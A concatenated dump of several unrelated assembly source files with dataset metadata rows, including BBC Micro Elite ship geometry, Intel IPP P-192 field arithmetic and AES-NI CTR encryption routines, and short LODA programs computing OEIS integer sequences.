EQUB 36 \ Max. speed = 36
EQUB HI(SHIP_CONSTRICTOR_EDGES - SHIP_CONSTRICTOR) \ Edges data offset (high)
EQUB HI(SHIP_CONSTRICTOR_FACES - SHIP_CONSTRICTOR) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00110100 \ Laser power = 6
\ Missiles = 4
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 20, -7, 80, 2, 0, 9, 9, 31 \ Vertex 0
VERTEX -20, -7, 80, 1, 0, 9, 9, 31 \ Vertex 1
VERTEX -54, -7, 40, 4, 1, 9, 9, 31 \ Vertex 2
VERTEX -54, -7, -40, 5, 4, 9, 8, 31 \ Vertex 3
VERTEX -20, 13, -40, 6, 5, 8, 8, 31 \ Vertex 4
VERTEX 20, 13, -40, 7, 6, 8, 8, 31 \ Vertex 5
VERTEX 54, -7, -40, 7, 3, 9, 8, 31 \ Vertex 6
VERTEX 54, -7, 40, 3, 2, 9, 9, 31 \ Vertex 7
VERTEX 20, 13, 5, 15, 15, 15, 15, 31 \ Vertex 8
VERTEX -20, 13, 5, 15, 15, 15, 15, 31 \ Vertex 9
VERTEX 20, -7, 62, 9, 9, 9, 9, 18 \ Vertex 10
VERTEX -20, -7, 62, 9, 9, 9, 9, 18 \ Vertex 11
VERTEX 25, -7, -25, 9, 9, 9, 9, 18 \ Vertex 12
VERTEX -25, -7, -25, 9, 9, 9, 9, 18 \ Vertex 13
VERTEX 15, -7, -15, 9, 9, 9, 9, 10 \ Vertex 14
VERTEX -15, -7, -15, 9, 9, 9, 9, 10 \ Vertex 15
VERTEX 0, -7, 0, 15, 9, 1, 0, 0 \ Vertex 16
.SHIP_CONSTRICTOR_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 9, 0, 31 \ Edge 0
EDGE 1, 2, 9, 1, 31 \ Edge 1
EDGE 1, 9, 1, 0, 31 \ Edge 2
EDGE 0, 8, 2, 0, 31 \ Edge 3
EDGE 0, 7, 9, 2, 31 \ Edge 4
EDGE 7, 8, 3, 2, 31 \ Edge 5
EDGE 2, 9, 4, 1, 31 \ Edge 6
EDGE 2, 3, 9, 4, 31 \ Edge 7
EDGE 6, 7, 9, 3, 31 \ Edge 8
EDGE 6, 8, 7, 3, 31 \ Edge 9
EDGE 5, 8, 7, 6, 31 \ Edge 10
EDGE 4, 9, 6, 5, 31 \ Edge 11
EDGE 3, 9, 5, 4, 31 \ Edge 12
EDGE 3, 4, 8, 5, 31 \ Edge 13
EDGE 4, 5, 8, 6, 31 \ Edge 14
EDGE 5, 6, 8, 7, 31 \ Edge 15
EDGE 3, 6, 9, 8, 31 \ Edge 16
EDGE 8, 9, 6, 0, 31 \ Edge 17
EDGE 10, 12, 9, 9, 18 \ Edge 18
EDGE 12, 14, 9, 9, 5 \ Edge 19
EDGE 14, 10, 9, 9, 10 \ Edge 20
EDGE 11, 15, 9, 9, 10 \ Edge 21
EDGE 13, 15, 9, 9, 5 \ Edge 22
EDGE 11, 13, 9, 9, 18 \ Edge 23
.SHIP_CONSTRICTOR_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 55, 15, 31 \ Face 0
FACE -24, 75, 20, 31 \ Face 1
FACE 24, 75, 20, 31 \ Face 2
FACE 44, 75, 0, 31 \ Face 3
FACE -44, 75, 0, 31 \ Face 4
FACE -44, 75, 0, 31 \ Face 5
FACE 0, 53, 0, 31 \ Face 6
FACE 44, 75, 0, 31 \ Face 7
FACE 0, 0, -160, 31 \ Face 8
FACE 0, -27, 0, 31 \ Face 9
\ ******************************************************************************
\
\ Save D.MOG.bin
\
\ ******************************************************************************
PRINT "S.D.MOG ", ~CODE%, " ", ~P%, " ", ~LOAD%, " ", ~LOAD%
SAVE "3-assembled-output/D.MOG.bin", CODE%, CODE% + &0A00
| 48.026253 | 80 | 0.374315 | [
"Unlicense"
] | markmoxon/disc-elite-beebasm | 1-source-files/main-sources/elite-ships-g.asm | 60,369 | Assembly |
halt | 5 | 5 | 0.8 | [
"MIT"
] | alfreedom/Z80-ASM-Programs | Ordenacion Burbuja/halt.asm | 5 | Assembly |
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 4, 0x90
Lpoly:
.quad 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFE, 0xFFFFFFFFFFFFFFFF
LRR:
.quad 0x1, 0x2, 0x1
LOne:
.long 1,1,1,1,1,1,1,1
.p2align 4, 0x90
.globl y8_p192r1_mul_by_2
.type y8_p192r1_mul_by_2, @function
y8_p192r1_mul_by_2:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
shld $(1), %r10, %r12
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
pop %r12
ret
.Lfe1:
.size y8_p192r1_mul_by_2, .Lfe1-(y8_p192r1_mul_by_2)
.p2align 4, 0x90
.globl y8_p192r1_div_by_2
.type y8_p192r1_div_by_2, @function
y8_p192r1_div_by_2:
push %r12
push %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
xor %r12, %r12
xor %r13, %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adc $(0), %r12
test $(1), %r8
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r13
shrd $(1), %r9, %r8
shrd $(1), %r10, %r9
shrd $(1), %r13, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
pop %r13
pop %r12
ret
.Lfe2:
.size y8_p192r1_div_by_2, .Lfe2-(y8_p192r1_div_by_2)
.p2align 4, 0x90
.globl y8_p192r1_mul_by_3
.type y8_p192r1_mul_by_3, @function
y8_p192r1_mul_by_3:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
shld $(1), %r10, %r12
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
xor %r12, %r12
addq (%rsi), %r8
adcq (8)(%rsi), %r9
adcq (16)(%rsi), %r10
adc $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
pop %r12
ret
.Lfe3:
.size y8_p192r1_mul_by_3, .Lfe3-(y8_p192r1_mul_by_3)
.p2align 4, 0x90
.globl y8_p192r1_add
.type y8_p192r1_add, @function
y8_p192r1_add:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
addq (%rdx), %r8
adcq (8)(%rdx), %r9
adcq (16)(%rdx), %r10
adc $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
pop %r12
ret
.Lfe4:
.size y8_p192r1_add, .Lfe4-(y8_p192r1_add)
.p2align 4, 0x90
.globl y8_p192r1_sub
.type y8_p192r1_sub, @function
y8_p192r1_sub:
push %r12
xor %r12, %r12
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
subq (%rdx), %r8
sbbq (8)(%rdx), %r9
sbbq (16)(%rdx), %r10
sbb $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
test %r12, %r12
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
pop %r12
ret
.Lfe5:
.size y8_p192r1_sub, .Lfe5-(y8_p192r1_sub)
.p2align 4, 0x90
.globl y8_p192r1_neg
.type y8_p192r1_neg, @function
y8_p192r1_neg:
push %r12
xor %r12, %r12
xor %r8, %r8
xor %r9, %r9
xor %r10, %r10
subq (%rsi), %r8
sbbq (8)(%rsi), %r9
sbbq (16)(%rsi), %r10
sbb $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
test %r12, %r12
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
pop %r12
ret
.Lfe6:
.size y8_p192r1_neg, .Lfe6-(y8_p192r1_neg)
.p2align 4, 0x90
p192r1_mmull:
xor %r12, %r12
movq (%rbx), %rax
mulq (%rsi)
mov %rax, %r8
mov %rdx, %r9
movq (%rbx), %rax
mulq (8)(%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
movq (%rbx), %rax
mulq (16)(%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
sub %r8, %r9
sbb $(0), %r10
sbb $(0), %r8
add %r8, %r11
adc $(0), %r12
xor %r8, %r8
movq (8)(%rbx), %rax
mulq (%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc %rdx, %r12
adc $(0), %r8
sub %r9, %r10
sbb $(0), %r11
sbb $(0), %r9
add %r9, %r12
adc $(0), %r8
xor %r9, %r9
movq (16)(%rbx), %rax
mulq (%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc %rdx, %r8
adc $(0), %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r8
adc $(0), %r9
xor %r10, %r10
mov %r11, %rax
mov %r12, %rdx
mov %r8, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r9
cmovnc %rax, %r11
cmovnc %rdx, %r12
cmovnc %rcx, %r8
movq %r11, (%rdi)
movq %r12, (8)(%rdi)
movq %r8, (16)(%rdi)
ret
.p2align 4, 0x90
.globl y8_p192r1_mul_montl
.type y8_p192r1_mul_montl, @function
y8_p192r1_mul_montl:
push %rbx
push %r12
mov %rdx, %rbx
call p192r1_mmull
pop %r12
pop %rbx
ret
.Lfe7:
.size y8_p192r1_mul_montl, .Lfe7-(y8_p192r1_mul_montl)
.p2align 4, 0x90
.globl y8_p192r1_to_mont
.type y8_p192r1_to_mont, @function
y8_p192r1_to_mont:
push %rbx
push %r12
lea LRR(%rip), %rbx
call p192r1_mmull
pop %r12
pop %rbx
ret
.Lfe8:
.size y8_p192r1_to_mont, .Lfe8-(y8_p192r1_to_mont)
.p2align 4, 0x90
.globl y8_p192r1_sqr_montl
.type y8_p192r1_sqr_montl, @function
y8_p192r1_sqr_montl:
push %r12
push %r13
movq (%rsi), %rcx
movq (8)(%rsi), %rax
mul %rcx
mov %rax, %r9
mov %rdx, %r10
movq (16)(%rsi), %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (8)(%rsi), %rcx
movq (16)(%rsi), %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
xor %r13, %r13
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shl $(1), %r9
movq (%rsi), %rax
mul %rax
mov %rax, %r8
add %rdx, %r9
adc $(0), %r10
movq (8)(%rsi), %rax
mul %rax
add %rax, %r10
adc %rdx, %r11
adc $(0), %r12
movq (16)(%rsi), %rax
mul %rax
add %rax, %r12
adc %rdx, %r13
sub %r8, %r9
sbb $(0), %r10
sbb $(0), %r8
add %r8, %r11
mov $(0), %r8
adc $(0), %r8
sub %r9, %r10
sbb $(0), %r11
sbb $(0), %r9
add %r9, %r12
mov $(0), %r9
adc $(0), %r9
add %r8, %r12
adc $(0), %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r13
mov $(0), %r10
adc $(0), %r10
add %r9, %r13
adc $(0), %r10
mov %r11, %rax
mov %r12, %rdx
mov %r13, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r10
cmovnc %rax, %r11
cmovnc %rdx, %r12
cmovnc %rcx, %r13
movq %r11, (%rdi)
movq %r12, (8)(%rdi)
movq %r13, (16)(%rdi)
pop %r13
pop %r12
ret
.Lfe9:
.size y8_p192r1_sqr_montl, .Lfe9-(y8_p192r1_sqr_montl)
.p2align 4, 0x90
.globl y8_p192r1_mont_back
.type y8_p192r1_mont_back, @function
y8_p192r1_mont_back:
push %r12
movq (%rsi), %r10
movq (8)(%rsi), %r11
movq (16)(%rsi), %r12
xor %r8, %r8
xor %r9, %r9
sub %r10, %r11
sbb $(0), %r12
sbb $(0), %r10
add %r10, %r8
adc $(0), %r9
xor %r10, %r10
sub %r11, %r12
sbb $(0), %r8
sbb $(0), %r11
add %r11, %r9
adc $(0), %r10
xor %r11, %r11
sub %r12, %r8
sbb $(0), %r9
sbb $(0), %r12
add %r12, %r10
adc $(0), %r11
xor %r12, %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbb $(0), %r12
cmovnc %rax, %r8
cmovnc %rdx, %r9
cmovnc %rcx, %r10
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
pop %r12
ret
.Lfe10:
.size y8_p192r1_mont_back, .Lfe10-(y8_p192r1_mont_back)
.p2align 4, 0x90
.globl y8_p192r1_select_pp_w5
.type y8_p192r1_select_pp_w5, @function
y8_p192r1_select_pp_w5:
movdqa LOne(%rip), %xmm0
movdqa %xmm0, %xmm12
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
pxor %xmm6, %xmm6
mov $(16), %rcx
.Lselect_loop_sse_w5gas_11:
movdqa %xmm12, %xmm13
pcmpeqd %xmm1, %xmm13
paddd %xmm0, %xmm12
movdqu (%rsi), %xmm7
movdqu (16)(%rsi), %xmm8
movdqu (32)(%rsi), %xmm9
movdqu (48)(%rsi), %xmm10
movq (64)(%rsi), %xmm11
add $(72), %rsi
pand %xmm13, %xmm7
pand %xmm13, %xmm8
pand %xmm13, %xmm9
pand %xmm13, %xmm10
pand %xmm13, %xmm11
por %xmm7, %xmm2
por %xmm8, %xmm3
por %xmm9, %xmm4
por %xmm10, %xmm5
por %xmm11, %xmm6
dec %rcx
jnz .Lselect_loop_sse_w5gas_11
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
movdqu %xmm5, (48)(%rdi)
movq %xmm6, (64)(%rdi)
ret
.Lfe11:
.size y8_p192r1_select_pp_w5, .Lfe11-(y8_p192r1_select_pp_w5)
.p2align 4, 0x90
.globl y8_p192r1_select_ap_w7
.type y8_p192r1_select_ap_w7, @function
y8_p192r1_select_ap_w7:
movdqa LOne(%rip), %xmm0
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
movdqa %xmm0, %xmm8
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
mov $(64), %rcx
.Lselect_loop_sse_w7gas_12:
movdqa %xmm8, %xmm9
pcmpeqd %xmm1, %xmm9
paddd %xmm0, %xmm8
movdqa (%rsi), %xmm5
movdqa (16)(%rsi), %xmm6
movdqa (32)(%rsi), %xmm7
add $(48), %rsi
pand %xmm9, %xmm5
pand %xmm9, %xmm6
pand %xmm9, %xmm7
por %xmm5, %xmm2
por %xmm6, %xmm3
por %xmm7, %xmm4
dec %rcx
jnz .Lselect_loop_sse_w7gas_12
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
ret
.Lfe12:
.size y8_p192r1_select_ap_w7, .Lfe12-(y8_p192r1_select_ap_w7)
| 26.454545 | 80 | 0.437882 | [
"Apache-2.0"
] | idesai/ipp-crypto | sources/ippcp/asm_intel64_gas_converted/linux/nonpic/y8/merged/pcpp192r1funcs_montas.asm | 17,169 | Assembly |
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 5, 0x90
CONST_TABLE:
u128_str:
.byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0
.p2align 5, 0x90
.globl g9_EncryptCTR_RIJ128pipe_AES_NI
.type g9_EncryptCTR_RIJ128pipe_AES_NI, @function
g9_EncryptCTR_RIJ128pipe_AES_NI:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
movl (32)(%ebp), %esi
movl (28)(%ebp), %edi
movdqu (%esi), %xmm6
movdqu (%edi), %xmm1
movdqu %xmm6, %xmm5
pandn %xmm1, %xmm6
sub $(16), %esp
call .L__0000gas_1
.L__0000gas_1:
pop %eax
sub $(.L__0000gas_1-CONST_TABLE), %eax
movdqa ((u128_str-CONST_TABLE))(%eax), %xmm4
movl (%edi), %edx
movl (4)(%edi), %ecx
movl (8)(%edi), %ebx
movl (12)(%edi), %eax
bswap %edx
bswap %ecx
bswap %ebx
bswap %eax
movl %eax, (%esp)
movl %ebx, (4)(%esp)
movl %ecx, (8)(%esp)
movl %edx, (12)(%esp)
movl (8)(%ebp), %esi
movl (12)(%ebp), %edi
subl $(64), (24)(%ebp)
jl .Lshort_inputgas_1
.Lblks_loopgas_1:
movl (%esp), %eax
movl (4)(%esp), %ebx
movl (8)(%esp), %ecx
movl (12)(%esp), %edx
pinsrd $(0), %eax, %xmm0
pinsrd $(1), %ebx, %xmm0
pinsrd $(2), %ecx, %xmm0
pinsrd $(3), %edx, %xmm0
pshufb %xmm4, %xmm0
pand %xmm5, %xmm0
por %xmm6, %xmm0
add $(1), %eax
adc $(0), %ebx
adc $(0), %ecx
adc $(0), %edx
pinsrd $(0), %eax, %xmm1
pinsrd $(1), %ebx, %xmm1
pinsrd $(2), %ecx, %xmm1
pinsrd $(3), %edx, %xmm1
pshufb %xmm4, %xmm1
pand %xmm5, %xmm1
por %xmm6, %xmm1
add $(1), %eax
adc $(0), %ebx
adc $(0), %ecx
adc $(0), %edx
pinsrd $(0), %eax, %xmm2
pinsrd $(1), %ebx, %xmm2
pinsrd $(2), %ecx, %xmm2
pinsrd $(3), %edx, %xmm2
pshufb %xmm4, %xmm2
pand %xmm5, %xmm2
por %xmm6, %xmm2
add $(1), %eax
adc $(0), %ebx
adc $(0), %ecx
adc $(0), %edx
pinsrd $(0), %eax, %xmm3
pinsrd $(1), %ebx, %xmm3
pinsrd $(2), %ecx, %xmm3
pinsrd $(3), %edx, %xmm3
pshufb %xmm4, %xmm3
pand %xmm5, %xmm3
por %xmm6, %xmm3
add $(1), %eax
adc $(0), %ebx
adc $(0), %ecx
adc $(0), %edx
movl %eax, (%esp)
movl %ebx, (4)(%esp)
movl %ecx, (8)(%esp)
movl %edx, (12)(%esp)
movl (20)(%ebp), %ecx
movdqa (%ecx), %xmm7
lea (16)(%ecx), %ebx
pxor %xmm7, %xmm0
pxor %xmm7, %xmm1
pxor %xmm7, %xmm2
pxor %xmm7, %xmm3
movdqa (%ebx), %xmm7
add $(16), %ebx
movl (16)(%ebp), %eax
sub $(1), %eax
.Lcipher_loopgas_1:
aesenc %xmm7, %xmm0
aesenc %xmm7, %xmm1
aesenc %xmm7, %xmm2
aesenc %xmm7, %xmm3
movdqa (%ebx), %xmm7
add $(16), %ebx
dec %eax
jnz .Lcipher_loopgas_1
aesenclast %xmm7, %xmm0
aesenclast %xmm7, %xmm1
aesenclast %xmm7, %xmm2
aesenclast %xmm7, %xmm3
movdqu (%esi), %xmm7
pxor %xmm7, %xmm0
movdqu %xmm0, (%edi)
movdqu (16)(%esi), %xmm7
pxor %xmm7, %xmm1
movdqu %xmm1, (16)(%edi)
movdqu (32)(%esi), %xmm7
pxor %xmm7, %xmm2
movdqu %xmm2, (32)(%edi)
movdqu (48)(%esi), %xmm7
pxor %xmm7, %xmm3
movdqu %xmm3, (48)(%edi)
add $(64), %esi
add $(64), %edi
subl $(64), (24)(%ebp)
jge .Lblks_loopgas_1
.Lshort_inputgas_1:
addl $(64), (24)(%ebp)
jz .Lquitgas_1
movl (20)(%ebp), %ecx
movl (16)(%ebp), %eax
lea (,%eax,4), %ebx
lea (-144)(%ecx,%ebx,4), %ebx
.Lsingle_blk_loopgas_1:
movdqu (%esp), %xmm0
pshufb %xmm4, %xmm0
pand %xmm5, %xmm0
por %xmm6, %xmm0
pxor (%ecx), %xmm0
cmp $(12), %eax
jl .Lkey_128_sgas_1
jz .Lkey_192_sgas_1
.Lkey_256_sgas_1:
aesenc (-64)(%ebx), %xmm0
aesenc (-48)(%ebx), %xmm0
.Lkey_192_sgas_1:
aesenc (-32)(%ebx), %xmm0
aesenc (-16)(%ebx), %xmm0
.Lkey_128_sgas_1:
aesenc (%ebx), %xmm0
aesenc (16)(%ebx), %xmm0
aesenc (32)(%ebx), %xmm0
aesenc (48)(%ebx), %xmm0
aesenc (64)(%ebx), %xmm0
aesenc (80)(%ebx), %xmm0
aesenc (96)(%ebx), %xmm0
aesenc (112)(%ebx), %xmm0
aesenc (128)(%ebx), %xmm0
aesenclast (144)(%ebx), %xmm0
addl $(1), (%esp)
adcl $(0), (4)(%esp)
adcl $(0), (8)(%esp)
adcl $(0), (12)(%esp)
subl $(16), (24)(%ebp)
jl .Lpartial_blockgas_1
movdqu (%esi), %xmm1
add $(16), %esi
pxor %xmm1, %xmm0
movdqu %xmm0, (%edi)
add $(16), %edi
cmpl $(0), (24)(%ebp)
jz .Lquitgas_1
jmp .Lsingle_blk_loopgas_1
.Lpartial_blockgas_1:
addl $(16), (24)(%ebp)
.Lpartial_block_loopgas_1:
pextrb $(0), %xmm0, %eax
psrldq $(1), %xmm0
movzbl (%esi), %ebx
xor %ebx, %eax
movb %al, (%edi)
inc %esi
inc %edi
decl (24)(%ebp)
jnz .Lpartial_block_loopgas_1
.Lquitgas_1:
movl (28)(%ebp), %eax
movdqu (%esp), %xmm0
pshufb %xmm4, %xmm0
pand %xmm5, %xmm0
por %xmm6, %xmm0
movdqu %xmm0, (%eax)
add $(16), %esp
pop %edi
pop %esi
pop %ebx
pop %ebp
ret
.Lfe1:
.size g9_EncryptCTR_RIJ128pipe_AES_NI, .Lfe1-(g9_EncryptCTR_RIJ128pipe_AES_NI)
| 33.205426 | 80 | 0.486285 | [
"Apache-2.0"
] | idesai/ipp-crypto | sources/ippcp/asm_ia32_gas_converted/linux/pic/g9/merged/pcprij128encryptctrpipeg9as.asm | 8,567 | Assembly |
; A097411: Initial decimal digit of n^7.
; 1,1,2,1,7,2,8,2,4,1,1,3,6,1,1,2,4,6,8,1,1,2,3,4,6,8,1,1,1,2,2,3,4,5,6,7,9,1,1,1,1,2,2,3,3,4,5,5,6,7,8,1,1,1,1,1,1,2,2,2,3,3,3,4,4,5,6,6,7,8,9,1,1,1,1,1,1,1,1,2,2,2,2,2,3,3,3,4,4,4,5,5,6,6,6,7,8,8,9,1,1,1,1
add $0,1
pow $0,7
lpb $0,1
mov $1,$0
div $0,10
lpe
| 30.5 | 207 | 0.531148 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/097/A097411.asm | 305 | Assembly |
; A073361: Nested floor product of n and fractions (k+1)/k for all k>0 (mod 4), divided by 4.
; 1,5,15,31,65,105,151,275,420,631,695,1050,1411,1685,2385,2941,3425,4410,5326,6995,7350,9316,10880
mov $1,$0
mov $2,$0
add $2,1
lpb $2
add $3,1
add $3,$0
lpb $3
add $1,3
sub $3,1
trn $3,$2
lpe
sub $1,3
lpb $0
sub $0,$0
lpe
add $0,1
add $0,$1
sub $2,1
lpe
add $1,1
| 16.5 | 99 | 0.583333 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/073/A073361.asm | 396 | Assembly |
; A158593: a(n) = 38*n^2 + 1.
; 1,39,153,343,609,951,1369,1863,2433,3079,3801,4599,5473,6423,7449,8551,9729,10983,12313,13719,15201,16759,18393,20103,21889,23751,25689,27703,29793,31959,34201,36519,38913,41383,43929,46551,49249,52023,54873,57799,60801,63879,67033,70263,73569,76951,80409,83943,87553,91239,95001,98839,102753,106743,110809,114951,119169,123463,127833,132279,136801,141399,146073,150823,155649,160551,165529,170583,175713,180919,186201,191559,196993,202503,208089,213751,219489,225303,231193,237159,243201,249319,255513,261783,268129,274551,281049,287623,294273,300999,307801,314679,321633,328663,335769,342951,350209,357543,364953,372439
pow $0,2
mul $0,38
add $0,1
| 97.571429 | 623 | 0.808199 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/158/A158593.asm | 683 | Assembly |
Name: yst_play.asm
Type: file
Size: 7380
Last-Modified: '2016-05-13T04:52:55Z'
SHA-1: 71284E257C8B4CDCA5E1CB9587916F3B2B956C42
Description: null
| 20.714286 | 47 | 0.813793 | [
"MIT"
] | prismotizm/gigaleak | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/old_cos/sfc/yst_play.asm | 145 | Assembly |
; A309337: a(n) = n^3 if n odd, 3*n^3/4 if n even.
; 0,1,6,27,48,125,162,343,384,729,750,1331,1296,2197,2058,3375,3072,4913,4374,6859,6000,9261,7986,12167,10368,15625,13182,19683,16464,24389,20250,29791,24576,35937,29478,42875,34992,50653,41154,59319,48000,68921,55566,79507,63888,91125
pow $0,3
mov $1,$0
